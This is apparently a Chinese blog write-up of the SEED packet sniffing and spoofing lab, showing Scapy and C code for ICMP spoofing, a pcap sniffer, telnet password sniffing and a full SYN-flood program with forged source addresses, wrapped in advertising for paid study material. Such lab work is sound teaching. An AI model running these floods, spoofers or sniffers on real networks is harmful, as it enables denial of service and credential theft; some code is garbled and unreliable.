SeedLab——Packet Sniffing and Spoofing Lab_seed labs – packet sniffing and spoofing lab

先自我介绍一下,小编浙江大学毕业,去过华为、字节跳动等大厂,目前阿里P7

深知大多数程序员,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年最新网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
img
img
img
img
img
img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上网络安全知识点,真正体系化!

由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新

如果你需要这些资料,可以添加V获取:vip204888 (备注网络安全)
img

正文

ttl = 1
while ttl <= max_hops:
    # 构造ip报文
    ip_packet = IP()
    ip_packet.dst = dst_ip
    ip_packet.ttl = ttl
    # icmp报文
    icmp_packet = ICMP()
    pakcet = ip_packet/icmp_packet
    # 发送数据包
    response = sr1(pakcet, verbose=False, timeout=1)
    if response is None:
        # 未收到回复,打印超时信息
        print(f"{ttl}. \* \* \*")
    elif response.type == 0:
        # 收到目标主机的回复,打印信息并退出循环
        print(f"{ttl}. {response.src}")
        break
    else:
        # 收到中间路由器的回复,打印信息
        print(f"{ttl}. {response.src}")
    # 增加ttl
    ttl += 1

获取命令行参数

dst_ip = sys.argv[1]
max_hops = int(sys.argv[2])
traceroute(dst_ip, max_hops)


运行这段代码,设置目的地址为`43.138.70.209`,MAX\_HOPS为30。



sudo python3 trace.py 43.138.70.209 30


结果如下所示,经过15跳后到达目的地址。



  1. 10.0.2.2


  2. 202.115.39.197
  3. 202.115.39.205


  4. 202.115.255.214

  5. 101.4.112.17

  6. 219.224.103.65
  7. 101.4.130.106

  8. 43.138.70.209

#### Task 1.4: Sniffing and-then Spoofing


要求我们编写一个程序,嗅探局域网中的所有ICMP回显请求(不论目标主机是不是我们本身),然后对发送ICMP回显的主机发送一个ICMP回显回复进行ICMP欺骗。


首先测试ping以下三个地址,前两个无法ping通,最后一个可以ping通。


![image-20231120153855279](https://img-blog.csdnimg.cn/img_convert/fd56e4f1149344025e3ed26be8b98b62.png)


编写下面的程序并运行



!/usr/bin/env python3

from scapy.all import *

欺骗

def spoof_icmp_echo(packet):
# 构造IP数据包
ip_packet = IP()
ip_packet.src=packet[IP].dst
ip_packet.dst=packet[IP].src

icmp_packet = ICMP()
icmp_packet.type='echo-reply'
icmp_packet.id=packet[ICMP].id
icmp_packet.seq=packet[ICMP].seq

eth_packet = Ether()
eth_packet.src=packet['Ethernet'].dst
eth_packet.dst=packet['Ethernet'].src

packet = ip_packet / icmp_packet / eth_packet 

print("ICMP Echo spoofing send from {} to {}".format(ip_packet.src, ip_packet.dst))
send(packet)

开始嗅探局域网中的数据包

sniff(filter = ‘icmp[icmptype]=icmp-echo’, prn = spoof_icmp_echo)


当ping其他主机时,结果如下所示。ttl=64的数据包为我们伪造的数据包,显示truncated表示输出被截断。`(DUP!)`的出现表示某些ICMP回显请求数据包被重复接收了多次。


![image-20231120203619547](https://img-blog.csdnimg.cn/img_convert/819338a505c53879ce38100aa41eb2cb.png)


### Lab Task Set 2: Writing Programs to Sniff and Spoof Packets


#### Task 2.1: Writing Packet Sniffing Program


使用pcap库进行网络嗅探。回调函数`got_packet`,用于处理捕获到的数据包。在`main`函数中,打开了一个网络接口的pcap会话,指定了接口名为`enp0s3`。编译了一个BPF过滤器,只捕获协议类型为ICMP的IP数据包。



#include <pcap.h>
#include <stdio.h>
#include <arpa/inet.h>

/* Ethernet header */
struct ethheader {
u_char ether_dhost[6]; /* destination host address */
u_char ether_shost[6]; /* source host address */
u_short ether_type; /* protocol type (IP, ARP, RARP, etc) */
};

/* IP Header */
struct ipheader {
unsigned char iph_ihl:4, //IP header length
iph_ver:4; //IP version
unsigned char iph_tos; //Type of service
unsigned short int iph_len; //IP Packet length (data + header)
unsigned short int iph_ident; //Identification
unsigned short int iph_flag:3, //Fragmentation flags
iph_offset:13; //Flags offset
unsigned char iph_ttl; //Time to Live
unsigned char iph_protocol; //Protocol type
unsigned short int iph_chksum; //IP datagram checksum
struct in_addr iph_sourceip; //Source IP address
struct in_addr iph_destip; //Destination IP address
};

void got_packet(u_char *args, const struct pcap_pkthdr *header,
const u_char *packet)
{
struct ethheader *eth = (struct ethheader *)packet;

if (ntohs(eth->ether_type) == 0x0800) { // 0x0800 is IP type
struct ipheader * ip = (struct ipheader *)
(packet + sizeof(struct ethheader));

printf(" From: %sn", inet\_ntoa(ip->iph_sourceip));   
printf(" To: %sn", inet\_ntoa(ip->iph_destip));    

/\* determine protocol \*/
switch(ip->iph_protocol) {                                 
    case IPPROTO_TCP:
        printf(" Protocol: TCPnn");
        return;
    case IPPROTO_UDP:
        printf(" Protocol: UDPnn");
        return;
    case IPPROTO_ICMP:
        printf(" Protocol: ICMPnn");
        return;
    default:
        printf(" Protocol: othersnn");
        return;
}

}
}

int main()
{
pcap_t *handle;
char errbuf[PCAP_ERRBUF_SIZE];
struct bpf_program fp;
// BPF过滤规则
char filter_exp[] = “ip proto icmp”;
bpf_u_int32 net;

// Step 1: Open live pcap session on NIC with name enp0s3
handle = pcap_open_live(“enp0s3”, BUFSIZ, 1, 1000, errbuf);
printf(“listening on network card, ret: %p…n”, handle);

// Step 2: Compile filter_exp into BPF psuedo-code
printf(“try to compile filter…n”);
pcap_compile(handle, &fp, filter_exp, 0, net);
printf(“try to set filter…n”);
pcap_setfilter(handle, &fp);

// Step 3: Capture packets
printf(“start to sniff…n”);
pcap_loop(handle, -1, got_packet, NULL);

pcap_close(handle); //Close the handle
return 0;
}


编译运行结果如下


![image-20231120205603640](https://img-blog.csdnimg.cn/img_convert/c37487a06b6617dfbe6def130d89f137.png)


##### Task 2.1A: Understanding How a Sniffer Works


###### Q A



> 
> 1. `pcap_lookupdev()`:查找可用的网络接口。(可选)
> 2. `pcap_open_live()`:打开选择的网络接口以进行数据包捕获。
> 3. `pcap_compile()`:编译BPF(Berkeley Packet Filter)过滤器,用于选择特定类型的数据包。
> 4. `pcap_setfilter()`:设置捕获过滤器,以便仅捕获满足特定条件的数据包。
> 5. `pcap_loop()`:开始捕获数据包的循环。
> 6. 在循环中,对每个捕获到的数据包,使用自定义的回调函数进行处理。
> 7. `pcap_close()`:关闭捕获会话,释放资源。
> 
> 
> 


创建捕获数据包的句柄。这个句柄包含了与捕获会话相关的信息和状态,如网络接口、捕获过滤器等。


`struct bpf_program`用于表示编译后的BPF(Berkeley Packet Filter)过滤器程序。BPF过滤器是一种用于选择特定类型的数据包的过滤器,可以用于在数据包捕获过程中进行数据包过滤。



pcap_t *handle;
char errbuf[PCAP_ERRBUF_SIZE];
struct bpf_program fp;
// BPF过滤规则
char filter_exp[] = “ip proto icmp”;


打开一个网络接口并返回一个捕获会话的句柄,将其赋值给`handle`。



// Step 1: Open live pcap session on NIC with name enp0s3
handle = pcap_open_live(“enp0s3”, BUFSIZ, 1, 1000, errbuf);
printf(“listening on network card, ret: %p…n”, handle);
/*
这个函数的参数解释如下:

1、“enp0s3”:要打开的网络接口的名称。这里使用了"enp0s3"作为示例接口名称,您可以根据实际情况替换为所需的网络接口名称。

2、BUFSIZ:捕获数据包时使用的缓冲区大小。BUFSIZ是一个预定义的常量,表示缓冲区的大小。

3、1:指定是否设置混杂模式。这里的1表示启用混杂模式,即在捕获数据包时,会接收到经过网络接口的所有数据包。

4、1000:设置超时值,指定在捕获数据包时等待的最长时间(以毫秒为单位)。

5、errbuf:用于存储错误消息的缓冲区。如果在打开网络接口时发生错误,错误消息将被写入到errbuf中。
*/


使用`pcap_compile`编译过滤器表达式`filter_exp`。`handle`是之前打开的捕获会话句柄,`&fp`是指向`struct bpf_program`的指针,用于存储编译后的过滤器程序。`filter_exp`是一个字符串,表示要应用于数据包捕获的过滤条件。`0`表示不使用优化选项,`net`是一个网络地址,用于确定过滤器表达式中的网络地址。`pcap_setfilter(handle, &fp)`将编译后的过滤器程序`fp`应用于捕获会话。



// Step 2: Compile filter_exp into BPF psuedo-code
printf(“try to compile filter…n”);
pcap_compile(handle, &fp, filter_exp, 0, net);
printf(“try to set filter…n”);
pcap_setfilter(handle, &fp);


使用`pcap_loop`开始捕获,`got_packet`是自定义的回调函数。`-1`表示捕获无限数量的数据包,也可以指定一个正整数来限制捕获的数据包数量。


`pcap_close`用于关闭捕获会话句柄,释放资源。



// Step 3: Capture packets
printf(“start to sniff…n”);
pcap_loop(handle, -1, got_packet, NULL);

pcap_close(handle); //Close the handle


###### Q B



> 
> 嗅探器程序需要root权限来访问和捕获网络数据包。这是因为**网络接口通常是受保护的资源**,只有特权用户才能直接访问它们。
> 
> 
> 下面三个操作都需要root权限
> 
> 
> 1. 打开网络接口:嗅探器程序在开始捕获数据包之前需要打开选择的网络接口。如果没有足够的权限来打开网络接口,程序将无法继续执行。
> 2. 设置捕获过滤器:嗅探器通常会使用过滤器来选择特定类型的数据包进行捕获。在设置过滤器时,需要特权权限才能成功操作。如果没有足够的权限,程序将无法设置过滤器,导致无法准确捕获所需的数据包。
> 3. 捕获数据包:嗅探器程序在捕获数据包时需要访问网络接口和相关底层资源。如果没有足够的权限来访问这些资源,捕获数据包的操作将失败。
> 
> 
> 


###### Q C



> 
> 混杂模式允许网络接口在捕获数据包时接收经过该接口的所有数据包,而不仅仅是目标地址是本机的数据包。一般计算机网卡都工作在非混杂模式下,此时网卡只接受来自网络端口的目的地址指向自己的数据。当网卡工作在混杂模式下时,网卡将来自接口的所有数据都捕获并交给相应的驱动程序。
> 
> 
> 


##### Task 2.1B: Writing Filters



> 
> 关于BPF的常用编写规则在Task 1.1B已经说过了
> 
> 
> 


1、只捕获两个特定主机之间的ICMP包


假设捕获主机与默认网关`10.0.2.2`之间的ICMP报文



(icmp and src host 10.0.2.15 and dst host 10.0.2.2) or
(icmp and src host 10.0.2.2 and dst host 10.0.2.15)


![image-20231120214349463](https://img-blog.csdnimg.cn/img_convert/bb299ce6ea94f78bc9a35bcece54d2e0.png)


2、捕捉目的端口在10到100之间的TCP包


使用tcp协议和dst端口范围10-100的BPF过滤表达式如下:



tcp and dst portrange 10-100


![image-20231120215345189](https://img-blog.csdnimg.cn/img_convert/107c73cdf499287ea823197ac5dc26df.png)


##### Task 2.1C: Sniffing Passwords



> 
> Telnet协议采用明文传输,没有数据加密功能,所以会产生安全隐患:
> 
> 
> * Telnet传输的命令和数据都是明文,可以被任何中间人轻松拦截和审查。
> * 用户名、密码和交互内容均不加密,可被截取使用。
> * 没有身份验证机制,任何人都可以假冒其他用户登入。
> * 数据在传输过程中可被篡改,无法完整校验。
> 
> 
> 


拓扑结构


![image-20231120094747029](https://img-blog.csdnimg.cn/img_convert/6c735939089e6c2ab80bc7a1db2fe68b.png)


进入一个docker创建的虚拟host——`10.9.0.5`中



seed@VM:~$ dockps
0cd29ef744b0 seed-attacker
e98890475512 hostB-10.9.0.6
1898eb81c8e4 hostA-10.9.0.5

seed@VM:~$ docker exec -it 1898eb81c8e4 bin/bash
root@1898eb81c8e4:/#


然后编写下面的代码,运行在IP地址为`10.9.0.1`的网络接口上,监听目的端口为23的TCP报文(telnet使用23端口)



#!/usr/bin/python3
from scapy.all import *

def print_pkt(pkt):
if Raw in pkt:
print(pkt[Raw])

sniff(iface=‘br-0d32c54e0d4e’, filter=“tcp port 23”, prn=print_pkt)


然后在docker容器中尝试远程登陆另一台主机`10.9.0.6`


![image-20231120223025114](https://img-blog.csdnimg.cn/img_convert/3e0f933d61c9171a11bf22be46afabf1.png)


观察嗅探程序的结果,在`10.9.0.1`上运行的嗅探程序嗅探到了`10.9.0.5`的登录到`10.9.0.6`的数据报文,获得了登陆密码。


![image-20231120222918626](https://img-blog.csdnimg.cn/img_convert/c5307c47d342086580fc3f752806cf2b.png)


#### Task 2.2: Spoofing


原始套接字(RAW SOCKET)允许应用程序直接访问网络协议栈(Protocol Stack)的底层功能,包括网络层(IP)、传输层(TCP、UDP)和其他协议。


通常情况下,应用程序使用高级套接字(如TCP套接字或UDP套接字)进行网络通信,这些套接字封装了底层的网络协议细节,提供了简化的接口供应用程序使用。然而,使用原始套接字,应用程序可以绕过这些封装,直接访问和操作网络协议栈中的原始数据。


![img](https://img-blog.csdnimg.cn/img_convert/a8eb09c8581c9dce6fa4bedb5e868ee7.png)


IP报文的格式



0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±+
|Version| IHL |Type of Service| Total Length |
±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±+
| Identification |Flags| Fragment Offset |
±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±+
| Time to Live | Protocol | Header Checksum |
±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±+
| Source IP Address |
±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±+
| Destination IP Address |
±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±+
| Options | Padding |
±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±+


TCP报文的格式



0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±+
| Source Port | Destination Port |
±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±+
| Sequence Number |
±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±+
| Acknowledgment Number |
±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±+
| Data | |U|A|P|R|S|F| |W|R|C|
| Offset| Res |R|C|S|S|Y|I| Window |E|C|R|
| | |G|K|H|T|N|N| |C|E|E|
±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±+
| Checksum | Urgent Pointer |
±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±+
| Options | Padding |
±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±+


##### Task 2.2A: Write a spoofing program


可以使用原始套接字来实现伪造IP报文实现一个SYN-Flood攻击的程序。


在TCP三次握手过程中,客户端向服务器发送一个SYN(同步)包,服务器接收到后会返回一个SYN-ACK(同步-确认)包给客户端,然后等待客户端的确认(ACK)。攻击者使用伪造的源IP地址,向目标服务器发送大量的SYN包,但是不发送ACK包来完成三次握手。这些SYN包看起来像是来自合法的客户端,但实际上是攻击者伪造的。由于攻击者不发送ACK,这些半开放连接会一直保持在服务器上等待,消耗服务器的资源,造成DoS攻击。


###### 头文件


定义TCP报头结构和伪报头结构。TCP伪报头(TCP Pseudo Header)是在进行TCP校验和计算时使用的辅助数据结构。它不是TCP报文段的一部分,而是用于计算校验和的数据。



#include <stdio.h>
#include <ctype.h>
#include <bits/types.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <string.h>
#include <netdb.h>
#include <errno.h>
#include <stdlib.h>
#include <time.h>
#include <arpa/inet.h>
#include <netinet/ip.h>

struct tcphdr
{
unsigned short sport; // 源端口
unsigned short dport; // 目标端口
unsigned int seq; // 序列号
unsigned int ack_seq; // 确认号
unsigned char len; // 首部长度
unsigned char flag; // 标志位
unsigned short win; // 窗口大小
unsigned short checksum; // 校验和
unsigned short urg; // 紧急指针
};

/**
* TCP伪头部包含了一些必要的信息,用于计算TCP校验和。
* 它通常由源IP地址、目的IP地址、保留字段、协议类型(TCP)和数据长度组成。
*/
struct pseudohdr
{
unsigned int saddr;
unsigned int daddr;
char zeros;
char protocol;
unsigned short length;
};


###### 校验和计算


校验和计算的代码如下。将缓冲区中的每个16位字累加到checksum变量中,直到size变为1或0。然后,如果size不为0,说明还剩下一个字节没有累加到校验和中,将其加入checksum中。


接下来,如果checksum发生溢出(即高16位不为零),就将高16位和低16位相加,再加上高16位。这是为了确保校验和在溢出时仍然正确。


最后,将checksum取反并返回。



// 计算校验和
unsigned short
checksum(unsigned short *buffer, unsigned short size)
{
unsigned long checksum = 0;
// 先将缓冲区中的每个16位字累加到 cksum 变量中,直到 size 变为1或0
while (size > 1)
{
checksum += *buffer++;
size -= sizeof(unsigned short);
}
// 如果 size 不为0,说明还剩下一个字节没有累加到校验和中,
if (size)
{
checksum += *(unsigned char *)buffer;
}
// 如果有溢出
while (checksum >> 16)
{
// 则将高16位与低16位相加
checksum = (checksum >> 16) + (checksum & 0xffff);
// 如果高16位非零,再加高16位
checksum += (checksum >> 16);
}

// 取反
return (unsigned short)(~checksum);

}


###### 初始化报头


IP报头的初始化。设置版本、ihl、服务类型等等字段。



// 初始化ip头
void init_ip_header(struct iphdr *ip, unsigned int srcaddr,
unsigned int dstaddr)
{
// 计算 IP 报头的总长度 len,包括 IP 头部和 TCP 头部的长度
int len = sizeof(struct iphdr) + sizeof(struct tcphdr);
// 设置 IP 版本和头部长度字段
ip->version = 4;
ip->ihl = 5;
// 设置服务类型字段 tos,此处设为 0。
ip->tos = 0;
// 设置总长度字段 total_len,使用 htons 函数将长度转换为网络字节序
ip->tot_len = htons(len);
// 设置标识字段
ip->id = 1;
// 设置标志字段 flags,这里设为 0x40,表示不分片
ip->frag_off = htons(0x4000);
// 设置生存时间字段 ttl
ip->ttl = 255;
// 设置协议字段 protocol,这里设为 IPPROTO_TCP
ip->protocol = IPPROTO_TCP;
// 初始化校验和
ip->check = 0;
ip->saddr = srcaddr; // 源IP地址
ip->daddr = dstaddr; // 目标IP地址
}


初始化TCP报头以及伪报头的函数。使用rand生成一个随机数,并将其转换成网络字节序作为源IP,用于隐匿本机IP。TCP的flag字段设为0x02表示设置SYN。



// 初始化tcp头
void init_tcp_header(struct tcphdr *tcp, unsigned short dport)
{
// 生成随机端口
tcp->sport = htons(rand() % 16383 + 49152);
// 目的端口
tcp->dport = htons(dport);
// 随机生成一个序号,转化为网络字节顺序
tcp->seq = htonl(rand() % 90000000 + 2345);
// 将 ack_seq 字段初始化为 0,表示没有确认序列号
tcp->ack_seq = 0;
/**
* 计算 TCP 头部长度,使用 sizeof(struct tcphdr) / 4 计算出以 32 位字为单位的长度,
* 然后将其左移 4 位(相当于乘以 16),最后通过位或操作符 | 与 0 进行合并得到 len 字段
*/
tcp->len = (sizeof(struct tcphdr) / 4 << 4 | 0);
// 将 flag 设置 SYN 控制标志位
tcp->flag = 0x02;
// 设置窗口大小
tcp->win = htons(1024);
// 初始化校验和
tcp->checksum = 0;
// 将紧急指针 urg 初始化为 0,表示没有紧急数据
tcp->urg = 0;
}

// 初始化伪TCP头
void init_pseudo_header(struct pseudohdr *pseudo, unsigned int srcaddr,
unsigned int dstaddr)
{
pseudo->zeros = 0;
pseudo->protocol = IPPROTO_TCP;
pseudo->length = htons(sizeof(struct tcphdr));
pseudo->saddr = srcaddr;
pseudo->daddr = dstaddr;
}


###### 构造SYN包


下面这段代码构造了一个SYN数据包,计算IP校验和 利用TCP伪报头计算TCP校验和。然后将TCP和IP报头拼接成一个数据包。



// 构造syn数据包
int make_syn_packet(char *packet, int pkt_len, unsigned int daddr,
unsigned short dport)
{
char buf[100];
int len;
struct iphdr ip; // IP 头部
struct tcphdr tcp; // TCP 头部
struct pseudohdr pseudo; // TCP 伪头部
// 随机生成源地址
unsigned int saddr = rand();
// 长度设置为一个ip报头+tcp报头的长度
len = sizeof(ip) + sizeof(tcp);

// 初始化头部信息
init\_ip\_header(&ip, saddr, daddr);
init\_tcp\_header(&tcp, dport);
init\_pseudo\_header(&pseudo, saddr, daddr);

// 计算IP校验和
ip.check = checksum((u_short \*)&ip, sizeof(ip));

bzero(buf, sizeof(buf));
// 复制TCP伪头部
memcpy(buf, &pseudo, sizeof(pseudo));
// 复制TCP头部
memcpy(buf + sizeof(pseudo), &tcp, sizeof(tcp));
// 计算TCP校验和
tcp.checksum = checksum((u_short \*)buf, sizeof(pseudo) + sizeof(tcp));

bzero(packet, pkt_len);
// 填充ip报头
memcpy(packet, &ip, sizeof(ip));
// 填充tcp报头
memcpy(packet + sizeof(ip), &tcp, sizeof(tcp));
// 格式化输出消息
unsigned char \*dbytes = (unsigned char \*)&daddr;
unsigned char \*sbytes = (unsigned char \*)&saddr;
printf("send a syn packet from %u.%u.%u.%u to address %u.%u.%u.%un", sbytes[0], sbytes[1], sbytes[2], sbytes[3], dbytes[0], dbytes[1], dbytes[2], dbytes[3]);

return len;

}


###### 创建原始套接字


通过调用socket函数创建一个原始套接字。AF\_INET参数指定了使用IPv4协议,SOCK\_RAW参数指定了套接字类型为原始套接字,IPPROTO\_TCP参数指定了传输层协议为TCP。如果socket函数返回值为-1,表示创建套接字失败。


通过setsockopt函数设置套接字选项。setsockopt函数用于设置套接字的各种选项,这里使用IP\_HDRINCL选项来告诉操作系统在发送数据时不自动添加IP头部。IP\_HDRINCL选项的值为on。当IP\_HDRINCL选项的值为非零时,表示应用程序将负责手动构建完整的IP头部,并将其附加到发送的数据中。这对于某些特定的网络编程需求非常有用,例如实现自定义的网络协议或与特定网络设备进行直接通信。通过将选项值设置为on,即使发送的数据中没有包含IP头部,操作系统也会将数据直接发送出去,而不会添加默认的IP头部。这样,应用程序就可以自行构建并添加完整的IP头部。



// 创建原始套接字
int make_raw_socket()
{
int fd;
int on = 1;

// 创建一个原始套接字
fd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
if (fd == -1)
{
    return -1;
}

// 设置需要手动构建IP头部
if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, (char \*)&on, sizeof(on)) < 0)
{
    close(fd);
    return -1;
}

return fd;

}


###### 发送伪造数据包


下面的代码设置目标主机的地址族、地址与端口。然后使用sendto函数将我们自己构造的SYN数据包通过创建的原始套接字发往目标地址。



// 发送syn数据包
int send_syn_packet(int sockfd, unsigned int addr, unsigned short port)
{
struct sockaddr_in skaddr;
// 数据包
char packet[256];
// 数据包长度
int pkt_len;
// 初始化
bzero(&skaddr, sizeof(skaddr));
// 设置目标地址
skaddr.sin_family = AF_INET;
skaddr.sin_port = htons(port);
skaddr.sin_addr.s_addr = addr;

// 创建一个syn数据包
pkt_len = make\_syn\_packet(packet, 256, addr, port);
// 发送syn数据包
return sendto(sockfd, packet, pkt_len, 0, (struct sockaddr \*)&skaddr,
              sizeof(struct sockaddr));

}


###### 完整代码与效果



// 拼接上面的代码即可

int main(int argc, char *argv[])
{
unsigned int addr;
unsigned short port;
int sockfd;

if (argc < 3)
{
    fprintf(stderr, "Usage: synflood <address> <port>n");
    exit(1);
}
// 获取地址和端口
addr = inet\_addr(argv[1]);
port = atoi(argv[2]);

if (port < 0 || port > 65535)
{
    fprintf(stderr, "Invalid destination port number: %sn", argv[2]);
    exit(1);
}
// 创建原始套接字
sockfd = make\_raw\_socket();
if (sockfd == -1)
{
    fprintf(stderr, "Failed to make raw socketn");
    exit(1);
}
// 一直发送syn数据包
for (int i = 0; i > -1; i++)
{
    sleep(1);
    if (send\_syn\_packet(sockfd, addr, port) < 0)
    {
        fprintf(stderr, "Failed to send syn packetn");
    }
}

close(sockfd);

return 0;

}


首先使用python创建一个HTTP服务器并监听端口8000。


![image-20231120225432603](https://img-blog.csdnimg.cn/img_convert/555a1cb6ce2c182e409f926b24b1bc1b.png)


然后使用netstat -ntc监听该端口的连接情况


![image-20231120225625034](https://img-blog.csdnimg.cn/img_convert/4e3357429d9b222a5847508deed260fd.png)


编译并运行syn泛洪攻击程序并设置目标为10.9.0.5:8000


查看运行结果,收到了大量的SYN建立连接请求。而且源IP也被隐藏了。


![image-20231120225804375](https://img-blog.csdnimg.cn/img_convert/c003d4d61d6318af5679d0baf58e20cf.png)


##### Task 2.2B: Spoof an ICMP Echo Request



> 
> 自己编写一个ping程序
> 
> 
> 


###### 头文件


定义了两个常量 `ICMP_ECHO` 和 `ICMP_ECHOREPLY`,分别表示 ICMP 的 Echo 请求和 Echo 回复报文的类型值。定义了一个名为 `icmpheader` 的结构体,用于表示 ICMP 头部。


结构体成员的含义如下:


* `icmp_type`:ICMP 消息类型
* `icmp_code`:错误码
* `icmp_chksum`:ICMP 头部和数据的校验和
* `icmp_id`:用于标识请求的 ID
* `icmp_seq`:序列号



#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <arpa/inet.h>

#define ICMP_ECHO 8
#define ICMP_ECHOREPLY 0

/* ICMP Header */
struct icmpheader
{
unsigned char icmp_type; // ICMP message type
unsigned char icmp_code; // Error code
unsigned short int icmp_chksum; // Checksum for ICMP Header and data
unsigned short int icmp_id; // Used for identifying request
unsigned short int icmp_seq; // Sequence number
};


###### 校验和计算


与Task2.2A相同



/**

  • @brief 计算校验和
  • @param buffer
  • @param size
  • @return unsigned short
    */
    unsigned short checksum(unsigned short *buffer, unsigned short size)
    {
    unsigned long checksum = 0;
    // 先将缓冲区中的每个16位字累加到 cksum 变量中,直到 size 变为1或0
    while (size > 1)
    {
    checksum += *buffer++;
    size -= sizeof(unsigned short);
    }
    // 如果 size 不为0,说明还剩下一个字节没有累加到校验和中,
    if (size)
    {
    checksum += *(unsigned char *)buffer;
    }
    // 如果有溢出
    while (checksum >> 16)
    {
    // 则将高16位与低16位相加
    checksum = (checksum >> 16) + (checksum & 0xffff);
    // 如果高16位非零,再加高16位
    checksum += (checksum >> 16);
    }
    // 取反
    return (unsigned short)(~checksum);
    }

###### 初始化报头


用于初始化 IP 头部和 ICMP 头部的字段。



/**
* @brief 初始化ip
*
* @param ip
* @param srcaddr
* @param dstaddr
*/
void init_ip_header(struct iphdr *ip, unsigned int srcaddr,
unsigned int dstaddr)
{
// 计算 IP 报头的总长度 len,包括 IP 头部和 TCP 头部的长度
int len = sizeof(struct iphdr) + sizeof(struct icmpheader);
// 设置 IP 版本和头部长度字段
ip->version = 4;
ip->ihl = 5;
// 设置服务类型字段 tos,此处设为 0。
ip->tos = 0;
// 设置总长度字段 total_len,使用 htons 函数将长度转换为网络字节序
ip->tot_len = htons(len);
// 设置标识字段
ip->id = 1;
// 设置标志字段 flags,这里设为 0x40,表示不分片
ip->frag_off = htons(0x4000);
// 设置生存时间字段 ttl
ip->ttl = 255;
// 设置协议字段 protocol,这里设为 IPPROTO_ICMP
ip->protocol = IPPROTO_ICMP;
// 初始化校验和
ip->check = 0;
ip->saddr = srcaddr; // 源IP地址
ip->daddr = dstaddr; // 目标IP地址
}

/**
* @brief 初始化icmp数据包
*
* @param icmp
* @param type
* @param code
*/
void init_icmp_header(struct icmpheader *icmp, int type, int code)
{
// 设置ICMP报文的类型
icmp->icmp_type = type;
if (type == ICMP_ECHOREPLY)
{
// 设置ICMP报文的代码
icmp->icmp_code = code;
}
// 计算ICMP报文的校验和
icmp->icmp_chksum = 0;
// 计算ICMP报文的校验和
icmp->icmp_chksum = checksum((unsigned short *)icmp,
sizeof(struct icmpheader));
}


###### 创建原始套接字


与Task2.2A相同



/**
* @brief 创建一个原始套接字
*
* @return int
*/
int make_raw_socket()
{
int fd;
int on = 1;

    // 创建一个原始套接字
    fd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
    if (fd == -1)
    {
            return -1;
    }
    // 设置需要手动构建IP头部
    if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, (char \*)&on, sizeof(on)) < 0)
    {
            close(fd);
            return -1;
    }
    return fd;

}


###### 发送伪造的Ping Echo


函数接受一个套接字描述符 `sock` 和一个指向 `struct iphdr` 结构体的指针 `ip` 作为参数。函数首先设置目标地址信息 `dest_info`,其中包括目标地址的协议类型和 IP 地址。最后,函数调用 `sendto` 函数发送 IP 报文。



/**
* @brief 发送ping报文
*
* @param sock
* @param ip
*/
void send_raw_ip_packet(int sock, struct iphdr *ip)
{
// struct sockaddr_in dest_info;
struct sockaddr_in dest_info;

    // 设置IP地址的协议类型
    dest_info.sin_family = AF_INET;
    // 设置IP地址
    dest_info.sin_addr.s_addr = ip->daddr;
    // 打印IP地址
    printf("icmp send to %sn", inet\_ntoa(dest_info.sin_addr));
    // 发送IP报文
    sendto(sock, ip, ntohs(ip->tot_len), 0,
           (struct sockaddr \*)&dest_info, sizeof(dest_info));

}


###### 完整代码与效果


完整代码如下所示



// 拼接上面的代码即可

本人从事网路安全工作12年,曾在2个大厂工作过,安全服务、售后服务、售前、攻防比赛、安全讲师、销售经理等职位都做过,对这个行业了解比较全面。

最近遍览了各种网络安全类的文章,内容参差不齐,其中不伐有大佬倾力教学,也有各种不良机构浑水摸鱼,在收到几条私信,发现大家对一套完整的系统的网络安全从学习路线到学习资料,甚至是工具有着不小的需求。

最后,我将这部分内容融会贯通成了一套282G的网络安全资料包,所有类目条理清晰,知识点层层递进,需要的小伙伴可以点击下方小卡片领取哦!下面就开始进入正题,如何从一个萌新一步一步进入网络安全行业。

学习路线图

其中最为瞩目也是最为基础的就是网络安全学习路线图,这里我给大家分享一份打磨了3个月,已经更新到4.0版本的网络安全学习路线图。

相比起繁琐的文字,还是生动的视频教程更加适合零基础的同学们学习,这里也是整理了一份与上述学习路线一一对应的网络安全视频教程。

网络安全工具箱

当然,当你入门之后,仅仅是视频教程已经不能满足你的需求了,你肯定需要学习各种工具的使用以及大量的实战项目,这里也分享一份我自己整理的网络安全入门工具以及使用教程和实战。

项目实战

最后就是项目实战,这里带来的是SRC资料&HW资料,毕竟实战是检验真理的唯一标准嘛~

面试题

归根结底,我们的最终目的都是为了就业,所以这份结合了多位朋友的亲身经验打磨的面试题合集你绝对不能错过!

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化的资料的朋友,可以添加V获取:vip204888 (备注网络安全)
img

